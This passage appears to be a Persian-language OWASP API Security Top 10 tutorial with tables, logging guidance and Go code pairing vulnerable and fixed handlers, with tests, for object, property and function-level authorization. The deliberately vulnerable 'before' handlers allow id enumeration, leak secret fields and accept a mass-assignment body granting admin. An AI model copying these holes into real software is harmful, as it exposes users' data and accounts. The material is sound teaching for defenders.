بدفهمی رایج: «۴۰۴ می‌دهیم تا کسی نفهمد؛ لاگ لازم نیست.» ۴۰۴ برای مهاجم است و لاگ برای شما. ثبت هر ۴۰۴ نویز است؛ فقط Denialهایی را ثبت کنید که حاصل تصمیم policy هستند؛ یعنی شیء وجود دارد، اما فراخواننده اجازهٔ دسترسی ندارد.

تعریف: cheat sheet واژگان لاگ OWASP، رخداد authz_fail[:userid,resource] را با شرح "An attempt was made to access a resource which was unauthorized" تعریف می‌کند؛ سطح نمونه CRITICAL است. authz_change و authz_admin هم دارد. چه کسی، یعنی شناسهٔ کاربر و tenant و client؛ چه کار، یعنی ability و مسیر و متد؛ کدام شیء، یعنی نوع و شناسه؛ نتیجه و request id را ثبت کنید. هرگز توکن یا بدنه را ننویسید. هشدار نرخ: بیش از N رخداد authz_fail برای یک کاربر در M دقیقه، یا کاربران متعدد روی یک مسیر مدیریتی.

 1  09:14:02 authz_fail user=41 ability=view resource=Order object=1002 path=/api/v2/orders/1002
 2  09:14:02 authz_fail user=41 ability=view resource=Order object=1003 ...
 3  ... 120 lines in 60 s, object ids increasing by 1
 4  alert: authz_fail rate user=41 > 20/min  -> revoke tokens, open incident, check other tenants
رخدادمنشأقاعدهٔ هشدار برای شروع
authz_fail در سطح شیء؛ API1رد Policyبیش از 20 در دقیقه برای هر کاربر؛ شناسهٔ ترتیبی
authz_fail در سطح تابع؛ API5رد policy مسیرهر تلاش غیرمدیر روی /admin بیش از 3 بار در ساعت
422 برای ویژگی ممنوع؛ API3Form Request / decoder فیلد ناشناختهبیش از 5 بار در ساعت برای هر کاربر؛ کاوش role
429 جریان حساس؛ API6limiter جریانجهش برای هر SKU یا خوشهٔ دستگاه
410 نسخهٔ بازنشسته؛ API9middleware چرخهٔ عمرهر رخداد؛ کلاینت هنوز zombie را می‌خواند
رد بالادستی؛ API10کلاینت مصرف APIهر رخداد؛ تغییر یا نفوذ به ارائه‌دهنده

فهرست ۲۰۱۹ مدخل API10:2019 Insufficient Logging & Monitoring داشت؛ ۲۰۲۳ مدخل لاگ ندارد و API6 هنوز به متن ۲۰۱۹ ارجاع می‌دهد. پس اکنون ثبت لاگ درون هر خطر مسئولیت شماست. Pipeline، SIEM و مدیریت رخداد در Secure SDLC و پاسخ به رخداد هستند.

فراتر از REST: GraphQL، gRPC و webhook تکمیلی ​

به زبان ساده: همان ده خطر با شکل دیگر. GraphQL اشیا و فیلدهای متعدد را پشت یک URL می‌گذارد؛ gRPC متدها را در protobuf پنهان می‌کند؛ webhook شما را کلاینت رخدادهای دیگری می‌کند.

بدفهمی رایج: «GraphQL یک endpoint دارد، پس یک بررسی مجوز کافی است.» هر resolver شیء و فیلد بارگذاری می‌کند. بررسی باید برای هر resolver در سطح شیء و برای هر فیلد در سطح ویژگی باشد. batch هزارعملیاتی در یک درخواست برای limiter تعداد درخواست، فقط یک «درخواست» است؛ سناریوهای API2 و API4 در OWASP.

خطرGraphQLgRPCwebhook دریافتی
API1node(id:) و شناسهٔ سراسری؛ مجوز در هر resolverبررسی هر method handler یا interceptor با جست‌وجوی شیءشناسهٔ شیء رخداد باید متعلق به حساب فرستنده باشد
API3مجوز فیلد؛ introspection فیلد پنهان را آشکار می‌کندپیام پاسخ دارای فیلد داخلیکل payload را به‌عنوان مدل ذخیره نکنید
API4سقف عمق، پیچیدگی و batch؛ cheat sheetِ GraphQL در OWASPحداکثر اندازهٔ پیام و deadlineسقف بدنه؛ پردازش async
API5mutation باز برای همهٔ نقش‌هاRPC مدیریتی در همان سرویسکاربرد ندارد
API9introspection روشن در production؛ فیلد قدیمی schemapackageهای proto قدیمی هنوز سرو می‌شوندURL ناشناختهٔ webhook هنوز فعال است
API10اعتماد کور به subgraphهای federatedاعتماد کور به سرویس بالادستیبررسی امضای HMAC، timestamp و پنجرهٔ replay

طراحی schema و resolver در GraphQL و gRPC، و امضای webhook در کلیدهای API، امضای درخواست و webhook است.

Client(app, script, partner)API gatewayauthn · rate limitroute allow-listRouterfunction-level checkroles per routeHandler + policyobject-level checkowner / tenantDTOs + databaseallow-list of propertiesscoped WHEREAPI2 · API4 · API9API5 BFLAAPI1 BOLAAPI3 BOPLAGET /api/v2/orders/1002Authorization: Bearer t401 no token429 over limit404 unknown route403 role missing405 wrong method404 not yours(same as missing)422 role prohibitedresponse = id, nameevery 401 / 403 / 404-by-policy → authz_fail event → rate per user → alertAuthentication answers who; the three authorization layers answer may this caller call this function,touch this object, read or write this property. Each layer is checked on every request, deny by default.The gateway is shared; object and property checks need domain data and live in the service.

سازوکار ​

تنظیم‌های دقیق ​

تنظیمکجامقدار این فصل
الگوی متد ServeMux (GET /orders/{id})Go 1.22+ net/httpمتد در هر الگو؛ بقیه 405
r.PathValue("id")Go 1.22+فقط کلید جست‌وجو؛ هرگز اختیار دسترسی نیست
principal با context.WithValueGo contextیک‌بار در middleware احراز هویت؛ خواندن در هر handler
json.Decoder.DisallowUnknownFieldsGo encoding/jsonروشن برای هر DTO ورودی؛ API3
http.MaxBytesReaderGo net/http8 KiB پروفایل، 32 KiB batch؛ API4
سقف اندازهٔ صفحههر دوپیش‌فرض 20، حداکثر 100
عملیات batch در هر درخواستهر دوحداکثر 25
http.Client.TimeoutGo5 s برای شریک؛ صفر یعنی بدون سقف؛ API10
http.Client.CheckRedirectGoخطا مگر https و میزبان مجاز؛ حداکثر 3 گام
io.LimitReaderGo64 KiB بدنهٔ بالادستی
#[Fillable([...])] / protected $fillableمدل Laravelفقط name و email
#[Hidden([...])]مدل Laravelpassword، remember_token، mfa_secret
قاعدهٔ prohibitedForm Request در Laravelrole، blocked، tenant_id
Response::denyAsNotFound()Policy در Laravelشیء بیگانه ناموجود به‌نظر می‌رسد
Gate::define('admin', ...) و can:adminLaravelهر گروه مسیر و controller مدیریتی
RateLimiter::for('checkout', ...)Laravel5/min برای کاربر، 300/min برای SKU
Model::preventSilentlyDiscardingAttributesLaravel$this->app->isLocal()
Http::globalOptions(['allow_redirects' => false])Laravelهمهٔ فراخوانی‌های خروجی
connectTimeout / timeoutکلاینت HTTP در Laravel2 s / 5 s؛ timeout پیش‌فرض 30 s
Deprecation / Sunsetهدر پاسخ@1782863999 / Thu, 31 Dec 2026 23:59:59 GMT
deprecated، x-owner، x-sunset در OpenAPIspecهر عملیات مالک دارد؛ کنارگذاشته‌شده‌ها sunset دارند
Policy جریانGo flows.Policy / ثابت‌های Laravel2 برای کاربر، 2 برای دستگاه، سبد تا checkout حداقل 1 s

کدهای وضعیت و پیام‌ها ​

وضعیتمعنی در این فصلخطرنکته
401 Unauthorizedاعتبارنامهٔ غایب یا نامعتبرAPI2middleware احراز هویت پیش از handler
403 Forbiddenتابع برای این نقش مجاز نیستAPI5AuthorizationException در Laravel؛ Gate::authorize پرتابش می‌کند
404 Not Foundشیء ناموجود یا متعلق به دیگریAPI1بدنهٔ یکسان تا وجود شناسه تأیید نشود
405 Method Not Allowedمتد برای مسیر ثبت نشدهAPI5, API8Go ServeMux همراه هدر Allow؛ OWASP REST: "Reject all requests not matching the allowlist with HTTP response code 405"
400 Bad Requestویژگی ناشناخته؛ json: unknown field "role"API3DTO ورودی Go با DisallowUnknownFields
422 Unprocessable ContentThe role field is prohibited.API3پیام انگلیسی Laravel: 'prohibited' => 'The :attribute field is prohibited.' در lang/en/validation.php
428 Precondition Requiredchallenge لازم؛ CAPTCHA یا step-upAPI6اینجا برای «سریع‌تر از انسان»
429 Too Many Requestsرسیدن به سقف نرخ یا جریانAPI4, API6Laravel: "a response with a 429 HTTP status code will automatically be returned" توسط throttle
409 Conflictاتمام موجودیAPI6رخداد امنیتی نیست
410 Goneعبور نسخه از sunsetAPI9پس از هفته‌ها هدر Deprecation/Sunset
413 Content Too Largeبدنه بزرگ‌تر از سقفAPI4http.MaxBytesError در Go
500 با application/problem+jsonخطای عمومی با instance: urn:error:<id>API8جزئیات فقط در لاگ سرور

خطر ← CWE ← تشخیص ​

ارجاع‌های CWE مطابق صفحهٔ هر خطر OWASP هستند؛ عنوان‌ها از MITRE در cwe.mitre.org و روش یافتن در ستون بعد آمده‌اند:

خطرCWE در فهرست OWASPخوب پیدا می‌کنداز دست می‌دهد
API1CWE-285 Improper Authorization; CWE-639 Authorization Bypass Through User-Controlled Keyبازپخش دوحسابی شبیه Burp Suite Autorize، تست واحد مجوز، هشدار authz_failSAST؛ دانش دامنه لازم است
API2CWE-204 Observable Response Discrepancy; CWE-307 Improper Restriction of Excessive Authentication Attemptsfuzz ورود، مجموعه‌تست JWTقواعد Re-authentication کسب‌وکار
API3CWE-213 Exposure of Sensitive Information Due to Incompatible Policies; CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributesمقایسهٔ schema پاسخ و fuzz ویژگی؛ "Fuzzing is usually used to identify additional (hidden) properties"فیلد ظاهراً بی‌ضرر
API4CWE-770, CWE-400 Uncontrolled Resource Consumption, CWE-799 Improper Control of Interaction Frequencyتست بار با limit بزرگ، fuzz batch، هشدار هزینههزینهٔ شخص ثالث
API5CWE-285تست ماتریس نقش؛ هر مسیر × هر نقشمسیر خارج از ماتریس
API6موردی ذکر نشدهمرور محصولی جریان‌ها و telemetry مدیریت رباتفقط code review
API7CWE-918 Server-Side Request Forgerycallback خارج از باندSSRF کور بدون OAST
API8CWE-2, CWE-16, CWE-209, CWE-319, CWE-388, CWE-444, CWE-942scanner پیکربندی، baselineِ DASTproxyهای ناسازگار
API9CWE-1059؛ OWASP: "Incomplete Documentation"؛ MITRE: Insufficient Technical Documentationپیمایش DNS و certificate transparency، مقایسهٔ spec و مسیر، کشف ترافیکنقطهٔ کور جریان داده
API10CWE-20 Improper Input Validation; CWE-200; CWE-319تست قرارداد با fixture مهاجم و لاگ egressنفوذ واقعی به شریک

هزینهٔ دفاع ​

کنترلهزینهٔ تقریبی هر درخواست
Query محدودشده (AND tenant_id = $2 AND owner_id = $3)با index روی (tenant_id, id) قابل‌اندازه‌گیری نیست
فراخوانی تابع policyنانوثانیه؛ resolutionِ Policy در Laravel میکروثانیه
نگاشت DTO پاسخیک کپی struct یا ساخت array
DisallowUnknownFieldsهیچ؛ flag روی decoder است
بررسی نقش در جدول مسیریک جست‌وجو در slice
محافظ جریان در حافظهmutex و دو جست‌وجوی map؛ با Redis یک رفت‌وبرگشت
هدر چرخهٔ عمردو فراخوانی Header().Set
اعتبارسنجی بالادستیچند تطبیق regex روی رشتهٔ کوتاه
خط لاگ authz_failیک نوشتن ساخت‌یافته، فقط هنگام رد

این اعداد تخمین سرانگشتی از عملیات‌اند، نه benchmark. هیچ‌کدام انتخابی بر سر کارایی نیست؛ هزینه در انضباط مهندسی است: هر Query محدود، هر مسیر با policy و هر شکل داده یک DTO.

Go ​

مثال: endpoint آسیب‌پذیر و اصلاح‌شده همراه تست ​

یک ماژول فقط با کتابخانهٔ استاندارد داریم: module academy/owasp-api-security-top-10 و go 1.24. الگوهای متد و wildcard در ServeMux و Request.PathValue از Go 1.22 آمده‌اند. هر package تستی دارد که با دیدن نشت در کد «قبل» قبول می‌شود و سپس نشان می‌دهد کد «بعد» آن را می‌بندد.

principal در context، یعنی جایگزین سادهٔ احراز هویت مشترک بین handlerها، و تست آن:

go
// Package principal carries the authenticated caller through context.Context.
// Authentication (who are you?) happens once, at the edge; every handler then
// reads the caller from the context for authorization (may you do this?).
// Real token validation lives in the JWT and OAuth chapters; this is a stub.
package principal

import (
	"context"
	"net/http"
	"slices"
	"strings"
)

// User is the caller as the server knows it. It never comes from the request
// body or a path parameter.
type User struct {
	ID       int64
	TenantID int64
	Roles    []string
}

// HasRole reports whether the caller holds role r.
func (u User) HasRole(r string) bool { return slices.Contains(u.Roles, r) }

type ctxKey struct{}

// With returns a context that carries u.
func With(ctx context.Context, u User) context.Context {
	return context.WithValue(ctx, ctxKey{}, u)
}

// From returns the caller stored by With, if any.
func From(ctx context.Context) (User, bool) {
	u, ok := ctx.Value(ctxKey{}).(User)
	return u, ok
}

// Lookup maps a bearer token to a user. Production code verifies a session
// or a signed token here.
type Lookup func(token string) (User, bool)

// Middleware rejects requests without a known bearer token (401) and stores
// the caller in the request context for the handlers behind it.
func Middleware(lookup Lookup) func(http.Handler) http.Handler {
	return func(next http.Handler) http.Handler {
		return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
			tok, ok := strings.CutPrefix(r.Header.Get("Authorization"), "Bearer ")
			if !ok {
				http.Error(w, "unauthenticated", http.StatusUnauthorized)
				return
			}
			u, ok := lookup(tok)
			if !ok {
				http.Error(w, "unauthenticated", http.StatusUnauthorized)
				return
			}
			next.ServeHTTP(w, r.WithContext(With(r.Context(), u)))
		})
	}
}

// Static is a Lookup over a fixed token table, for tests and examples.
func Static(users map[string]User) Lookup {
	return func(tok string) (User, bool) {
		u, ok := users[tok]
		return u, ok
	}
}
go
package principal

import (
	"context"
	"net/http"
	"net/http/httptest"
	"testing"
)

func TestWithFromRoundTrip(t *testing.T) {
	if _, ok := From(context.Background()); ok {
		t.Fatal("empty context must carry no principal")
	}
	u, ok := From(With(context.Background(), User{ID: 41, TenantID: 7, Roles: []string{"support"}}))
	if !ok || u.ID != 41 || !u.HasRole("support") || u.HasRole("admin") {
		t.Fatalf("round trip lost data: %+v %v", u, ok)
	}
}

func TestMiddleware(t *testing.T) {
	var seen User
	h := Middleware(Static(map[string]User{"tok": {ID: 41}}))(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		seen, _ = From(r.Context())
	}))
	for header, want := range map[string]int{"": 401, "Basic abc": 401, "Bearer nope": 401, "Bearer tok": 200} {
		req := httptest.NewRequest("GET", "/", nil)
		if header != "" {
			req.Header.Set("Authorization", header)
		}
		rec := httptest.NewRecorder()
		h.ServeHTTP(rec, req)
		if rec.Code != want {
			t.Fatalf("%q: want %d, got %d", header, want, rec.Code)
		}
	}
	if seen.ID != 41 {
		t.Fatalf("handler did not see the principal: %+v", seen)
	}
}

API1 BOLA: Store با جست‌وجوی بدون scope و محدودشده، handler آسیب‌پذیر، handler اصلاح‌شده با تابع policy و لاگ authz_fail، و تست. Ana سفارش Bob را می‌خواند و ۳ سفارش را پیمایش می‌کند؛ پس از اصلاح، ۴۰۴ دقیقاً مشابه شناسهٔ ناموجود است و یک خط لاگ ثبت می‌شود:

go
// Package bola shows API1:2023 Broken Object Level Authorization: the caller
// is authenticated and allowed to call GET /orders/{id}, but the handler
// never asks whether this order belongs to this caller.
package bola

import "sync"

// Order is one stored object. OwnerID and TenantID are what the
// object-level authorization check compares against the caller.
type Order struct {
	ID       int64 `json:"id"`
	OwnerID  int64 `json:"owner_id"`
	TenantID int64 `json:"tenant_id"`
	Total    int64 `json:"total_cents"`
}

// Store is an in-memory stand-in for the orders table.
type Store struct {
	mu   sync.RWMutex
	byID map[int64]Order
}

// NewStore returns a store holding orders.
func NewStore(orders ...Order) *Store {
	s := &Store{byID: make(map[int64]Order, len(orders))}
	for _, o := range orders {
		s.byID[o.ID] = o
	}
	return s
}

// Get is "SELECT ... FROM orders WHERE id = $1": no owner in the WHERE clause.
func (s *Store) Get(id int64) (Order, bool) {
	s.mu.RLock()
	defer s.mu.RUnlock()
	o, ok := s.byID[id]
	return o, ok
}

// GetScoped is "SELECT ... WHERE id = $1 AND tenant_id = $2 AND owner_id = $3":
// the database cannot return a foreign row, whatever the handler forgets.
func (s *Store) GetScoped(id, tenantID, ownerID int64) (Order, bool) {
	o, ok := s.Get(id)
	if !ok || o.TenantID != tenantID || o.OwnerID != ownerID {
		return Order{}, false
	}
	return o, true
}
go
package bola

import (
	"encoding/json"
	"net/http"
	"strconv"
)

// GetOrderBefore is authenticated (it sits behind principal.Middleware) but
// trusts the id in the path: any logged-in user can read any order by
// changing /orders/1001 to /orders/1002.
func GetOrderBefore(s *Store) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		id, err := strconv.ParseInt(r.PathValue("id"), 10, 64)
		if err != nil {
			http.Error(w, "bad id", http.StatusBadRequest)
			return
		}
		o, ok := s.Get(id)
		if !ok {
			http.NotFound(w, r)
			return
		}
		w.Header().Set("Content-Type", "application/json")
		_ = json.NewEncoder(w).Encode(o)
	}
}
go
package bola

import (
	"encoding/json"
	"log/slog"
	"net/http"
	"strconv"

	"academy/owasp-api-security-top-10/principal"
)

// CanView is the policy object for orders: one place that answers
// "may this caller see this order?". Tenant first, then ownership, then
// an explicit support role scoped to the same tenant.
func CanView(u principal.User, o Order) bool {
	if o.TenantID != u.TenantID {
		return false
	}
	return o.OwnerID == u.ID || u.HasRole("support")
}

// GetOrder performs the object-level authorization check on every request.
// The caller comes from the context (set by the auth middleware), never from
// the request. Foreign and missing orders get the same 404 so the response
// is not an existence oracle; foreign ones are logged as authz_fail.
func GetOrder(s *Store, log *slog.Logger) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		u, ok := principal.From(r.Context())
		if !ok {
			http.Error(w, "unauthenticated", http.StatusUnauthorized)
			return
		}
		id, err := strconv.ParseInt(r.PathValue("id"), 10, 64)
		if err != nil {
			http.Error(w, "bad id", http.StatusBadRequest)
			return
		}
		o, found := s.Get(id)
		if !found || !CanView(u, o) {
			if found {
				log.Warn("authz_fail",
					slog.Int64("user_id", u.ID),
					slog.String("resource", "order"),
					slog.Int64("object_id", id),
					slog.String("path", r.URL.Path))
			}
			http.NotFound(w, r)
			return
		}
		w.Header().Set("Content-Type", "application/json")
		_ = json.NewEncoder(w).Encode(o)
	}
}
go
package bola

import (
	"bytes"
	"io"
	"log/slog"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"

	"academy/owasp-api-security-top-10/principal"
)

var users = principal.Static(map[string]principal.User{
	"tok-ana": {ID: 41, TenantID: 7},
	"tok-bob": {ID: 57, TenantID: 7},
})

func store() *Store {
	return NewStore(
		Order{ID: 1001, OwnerID: 41, TenantID: 7, Total: 1999},
		Order{ID: 1002, OwnerID: 57, TenantID: 7, Total: 250000},
		Order{ID: 1003, OwnerID: 57, TenantID: 7, Total: 1200},
	)
}

func server(h http.HandlerFunc) http.Handler {
	mux := http.NewServeMux()
	mux.Handle("GET /orders/{id}", h)
	return principal.Middleware(users)(mux)
}

func get(t *testing.T, h http.Handler, path, tok string) (int, string) {
	t.Helper()
	req := httptest.NewRequest(http.MethodGet, path, nil)
	req.Header.Set("Authorization", "Bearer "+tok)
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	b, _ := io.ReadAll(rec.Body)
	return rec.Code, string(b)
}

func TestBeforeLeaksForeignOrder(t *testing.T) {
	h := server(GetOrderBefore(store()))
	code, body := get(t, h, "/orders/1002", "tok-ana")
	if code != http.StatusOK || !strings.Contains(body, `"owner_id":57`) {
		t.Fatalf("expected the vulnerable handler to return Bob's order to Ana, got %d %s", code, body)
	}
	// Sequential ids make enumeration a loop.
	leaked := 0
	for _, p := range []string{"/orders/1001", "/orders/1002", "/orders/1003", "/orders/1004"} {
		if c, _ := get(t, h, p, "tok-ana"); c == http.StatusOK {
			leaked++
		}
	}
	if leaked != 3 {
		t.Fatalf("expected 3 readable orders by enumeration, got %d", leaked)
	}
}

func TestAfterDeniesAndLogs(t *testing.T) {
	var logs bytes.Buffer
	h := server(GetOrder(store(), slog.New(slog.NewJSONHandler(&logs, nil))))

	if code, _ := get(t, h, "/orders/1001", "tok-ana"); code != http.StatusOK {
		t.Fatalf("owner must read own order, got %d", code)
	}
	codeForeign, bodyForeign := get(t, h, "/orders/1002", "tok-ana")
	codeMissing, bodyMissing := get(t, h, "/orders/9999", "tok-ana")
	if codeForeign != http.StatusNotFound || codeForeign != codeMissing || bodyForeign != bodyMissing {
		t.Fatalf("foreign and missing must look identical: %d %q vs %d %q", codeForeign, bodyForeign, codeMissing, bodyMissing)
	}
	if !strings.Contains(logs.String(), `"msg":"authz_fail"`) || !strings.Contains(logs.String(), `"object_id":1002`) {
		t.Fatalf("expected an authz_fail log line, got %s", logs.String())
	}
	if strings.Contains(logs.String(), `"object_id":9999`) {
		t.Fatal("a missing object is not an authorization failure")
	}
	if code, _ := get(t, h, "/orders/1002", "no-such-token"); code != http.StatusUnauthorized {
		t.Fatalf("unknown token must be 401, got %d", code)
	}
}

func TestScopedQuery(t *testing.T) {
	s := store()
	if _, ok := s.GetScoped(1002, 7, 41); ok {
		t.Fatal("scoped lookup returned a foreign row")
	}
	if _, ok := s.GetScoped(1002, 7, 57); !ok {
		t.Fatal("scoped lookup must return the owner's row")
	}
}

API3 BOPLA: مدل، سریال‌سازی و bind کل مدل، سپس DTO پاسخ برای هر مخاطب و DTO ورودی با DisallowUnknownFields:

go
// Package bopla shows API3:2023 Broken Object Property Level Authorization,
// the merger of two 2019 risks: excessive data exposure (reading properties
// the caller must not see) and mass assignment (writing properties the
// caller must not set).
package bopla

// User is the persistence model. Several properties are server-owned or
// secret and must never be bound from, or written to, an API payload.
type User struct {
	ID             int64  `json:"id"`
	Name           string `json:"name"`
	Email          string `json:"email"`
	PasswordHash   string `json:"password_hash"`
	MFASecret      string `json:"mfa_secret"`
	Role           string `json:"role"`
	Blocked        bool   `json:"blocked"`
	RecentLocation string `json:"recent_location"`
}
go
package bopla

import (
	"encoding/json"
	"net/http"
)

// ShowBefore serialises the whole model and relies on the client to hide
// what it should not display: password_hash, mfa_secret and
// recent_location travel to every caller.
func ShowBefore(w http.ResponseWriter, u User) {
	w.Header().Set("Content-Type", "application/json")
	_ = json.NewEncoder(w).Encode(u)
}

// UpdateBefore binds the request body onto the model: a client that adds
// "role":"admin" or "blocked":false to a profile update gets it.
func UpdateBefore(u *User, r *http.Request) error {
	return json.NewDecoder(r.Body).Decode(u)
}
go
package bopla

import (
	"encoding/json"
	"errors"
	"net/http"
	"net/mail"
	"strings"
)

// PublicUser is the response DTO other users get: an allow-list of
// properties, so a new column on User is private until someone adds it here.
type PublicUser struct {
	ID   int64  `json:"id"`
	Name string `json:"name"`
}

// SelfUser is what the owner sees about themselves.
type SelfUser struct {
	ID    int64  `json:"id"`
	Name  string `json:"name"`
	Email string `json:"email"`
	Role  string `json:"role"`
}

// View picks the DTO by the relationship between viewer and subject. It is
// a property-level authorization decision, made on the server.
func View(subject User, viewerID int64) any {
	if subject.ID == viewerID {
		return SelfUser{ID: subject.ID, Name: subject.Name, Email: subject.Email, Role: subject.Role}
	}
	return PublicUser{ID: subject.ID, Name: subject.Name}
}

// Show writes the DTO chosen by View.
func Show(w http.ResponseWriter, subject User, viewerID int64) {
	w.Header().Set("Content-Type", "application/json")
	_ = json.NewEncoder(w).Encode(View(subject, viewerID))
}

// UpdateInput is the input DTO: the only properties a user may change.
// Pointers distinguish "absent" from "empty".
type UpdateInput struct {
	Name  *string `json:"name"`
	Email *string `json:"email"`
}

// ErrInvalid covers unknown properties, oversize bodies and bad values.
var ErrInvalid = errors.New("bopla: invalid input")

// Update decodes into the input DTO with DisallowUnknownFields (a probe for
// "role" is a 400, not a silent success), validates every field into local
// values, and only then copies them: a rejected request changes nothing.
func Update(u *User, w http.ResponseWriter, r *http.Request) error {
	dec := json.NewDecoder(http.MaxBytesReader(w, r.Body, 8<<10))
	dec.DisallowUnknownFields()
	var in UpdateInput
	if err := dec.Decode(&in); err != nil {
		return errors.Join(ErrInvalid, err)
	}
	name, email := u.Name, u.Email
	if in.Name != nil {
		name = strings.TrimSpace(*in.Name)
		if name == "" || len(name) > 100 {
			return ErrInvalid
		}
	}
	if in.Email != nil {
		a, err := mail.ParseAddress(*in.Email)
		if err != nil || a.Address != *in.Email {
			return ErrInvalid
		}
		// Changing the e-mail also needs re-authentication (API2); see authn.
		email = a.Address
	}
	u.Name, u.Email = name, email
	return nil
}
go
package bopla

import (
	"errors"
	"net/http/httptest"
	"strings"
	"testing"
)

func victim() User {
	return User{ID: 313, Name: "Sam", Email: "sam@example.com", PasswordHash: "$argon2id$v=19$...",
		MFASecret: "JBSWY3DPEHPK3PXP", Role: "user", Blocked: true, RecentLocation: "52.37,4.89"}
}

func TestBeforeExposesSecrets(t *testing.T) {
	rec := httptest.NewRecorder()
	ShowBefore(rec, victim())
	for _, leak := range []string{"password_hash", "mfa_secret", "recent_location"} {
		if !strings.Contains(rec.Body.String(), leak) {
			t.Fatalf("expected the vulnerable handler to expose %s, got %s", leak, rec.Body.String())
		}
	}
}

func TestBeforeMassAssignment(t *testing.T) {
	u := victim()
	body := `{"name":"Sam","role":"admin","blocked":false}`
	if err := UpdateBefore(&u, httptest.NewRequest("PATCH", "/me", strings.NewReader(body))); err != nil {
		t.Fatal(err)
	}
	if u.Role != "admin" || u.Blocked {
		t.Fatalf("expected escalation and unblocking in the vulnerable version, got %+v", u)
	}
}

func TestAfterResponseDTO(t *testing.T) {
	rec := httptest.NewRecorder()
	Show(rec, victim(), 41) // another user looks at Sam
	got := strings.TrimSpace(rec.Body.String())
	if got != `{"id":313,"name":"Sam"}` {
		t.Fatalf("public view must be the allow-list only, got %s", got)
	}
	rec = httptest.NewRecorder()
	Show(rec, victim(), 313) // Sam looks at Sam
	if strings.Contains(rec.Body.String(), "password_hash") || !strings.Contains(rec.Body.String(), "sam@example.com") {
		t.Fatalf("self view wrong: %s", rec.Body.String())
	}
}

func TestAfterRejectsServerOwnedProperties(t *testing.T) {
	u := victim()
	err := Update(&u, httptest.NewRecorder(), httptest.NewRequest("PATCH", "/me", strings.NewReader(`{"name":"Sam","blocked":false}`)))
	if !errors.Is(err, ErrInvalid) || !u.Blocked || u.Role != "user" {
		t.Fatalf("blocked/role must not change: err=%v user=%+v", err, u)
	}
	err = Update(&u, httptest.NewRecorder(), httptest.NewRequest("PATCH", "/me", strings.NewReader(`{"name":"  Samira "}`)))
	if err != nil || u.Name != "Samira" {
		t.Fatalf("allowed property not applied: err=%v user=%+v", err, u)
	}
}

func TestAfterRejectedUpdateChangesNothing(t *testing.T) {
	u := victim()
	err := Update(&u, httptest.NewRecorder(), httptest.NewRequest("PATCH", "/me", strings.NewReader(`{"name":"Changed","email":"not an address"}`)))
	if !errors.Is(err, ErrInvalid) || u.Name != "Sam" || u.Email != "sam@example.com" {
		t.Fatalf("no partial update allowed: err=%v user=%+v", err, u)
	}
}

API5 BFLA: ثبت تابع مدیریتی کنار تابع کاربر، در برابر جدول مسیری که مسیر بدون policy را نمی‌پذیرد:

go
// Package bfla shows API5:2023 Broken Function Level Authorization: a
// regular user calls a function meant for administrators, by guessing the
// URL or by changing the HTTP method.
package bfla

import "net/http"

// NewMuxBefore registers admin functions next to user functions and relies
// on the admin console not showing them. Every route is authenticated by the
// outer middleware; none checks the role.
func NewMuxBefore(h Handlers) *http.ServeMux {
	mux := http.NewServeMux()
	mux.Handle("GET /api/users/{id}", h.ShowUser)
	mux.Handle("DELETE /api/users/{id}", h.DeleteUser)       // only the method differs
	mux.Handle("POST /api/invites/new", h.CreateInvite)      // admin-only function
	mux.Handle("GET /api/admin/v1/users/all", h.ExportUsers) // "hidden" admin URL
	return mux
}
go
package bfla

import (
	"fmt"
	"log/slog"
	"net/http"

	"academy/owasp-api-security-top-10/principal"
)

// Handlers are the business functions; they contain no authorization code.
type Handlers struct {
	ShowUser, DeleteUser, CreateInvite, ExportUsers http.Handler
}

// Route is one function plus the policy that guards it. A route must either
// name the roles allowed to call it or say explicitly that any
// authenticated caller may (AnyUser); there is no third option.
type Route struct {
	Pattern string
	Handler http.Handler
	Roles   []string
	AnyUser bool
}

// NewMux builds the router from a route table and refuses to start if a
// route has no policy: deny by default is enforced at build time, not by
// remembering to add a check.
func NewMux(routes []Route, log *slog.Logger) (*http.ServeMux, error) {
	mux := http.NewServeMux()
	for _, rt := range routes {
		if !rt.AnyUser && len(rt.Roles) == 0 {
			return nil, fmt.Errorf("bfla: route %q has no authorization policy", rt.Pattern)
		}
		mux.Handle(rt.Pattern, requireRoles(rt, log))
	}
	return mux, nil
}

func requireRoles(rt Route, log *slog.Logger) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		u, ok := principal.From(r.Context())
		if !ok {
			http.Error(w, "unauthenticated", http.StatusUnauthorized)
			return
		}
		if !rt.AnyUser && !hasAny(u, rt.Roles) {
			log.Warn("authz_fail",
				slog.Int64("user_id", u.ID),
				slog.String("function", rt.Pattern),
				slog.String("method", r.Method),
				slog.String("path", r.URL.Path))
			http.Error(w, "forbidden", http.StatusForbidden)
			return
		}
		rt.Handler.ServeHTTP(w, r)
	})
}

func hasAny(u principal.User, roles []string) bool {
	for _, r := range roles {
		if u.HasRole(r) {
			return true
		}
	}
	return false
}

// Routes is the production table: the method is part of the pattern, so
// DELETE has its own policy, and admin functions say so wherever they live.
func Routes(h Handlers) []Route {
	return []Route{
		{Pattern: "GET /api/users/{id}", Handler: h.ShowUser, AnyUser: true}, // object check inside (API1)
		{Pattern: "DELETE /api/users/{id}", Handler: h.DeleteUser, Roles: []string{"admin"}},
		{Pattern: "POST /api/invites/new", Handler: h.CreateInvite, Roles: []string{"admin"}},
		{Pattern: "GET /api/admin/v1/users/all", Handler: h.ExportUsers, Roles: []string{"admin"}},
	}
}
go
package bfla

import (
	"bytes"
	"io"
	"log/slog"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"

	"academy/owasp-api-security-top-10/principal"
)

var users = principal.Static(map[string]principal.User{
	"tok-user":  {ID: 41, TenantID: 7, Roles: []string{"user"}},
	"tok-admin": {ID: 1, TenantID: 7, Roles: []string{"admin"}},
})

func ok(name string) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { _, _ = io.WriteString(w, name) })
}

var handlers = Handlers{ShowUser: ok("show"), DeleteUser: ok("deleted"), CreateInvite: ok("invited"), ExportUsers: ok("all users")}

func call(h http.Handler, method, path, tok string) int {
	req := httptest.NewRequest(method, path, strings.NewReader(`{"email":"x@example.com","role":"admin"}`))
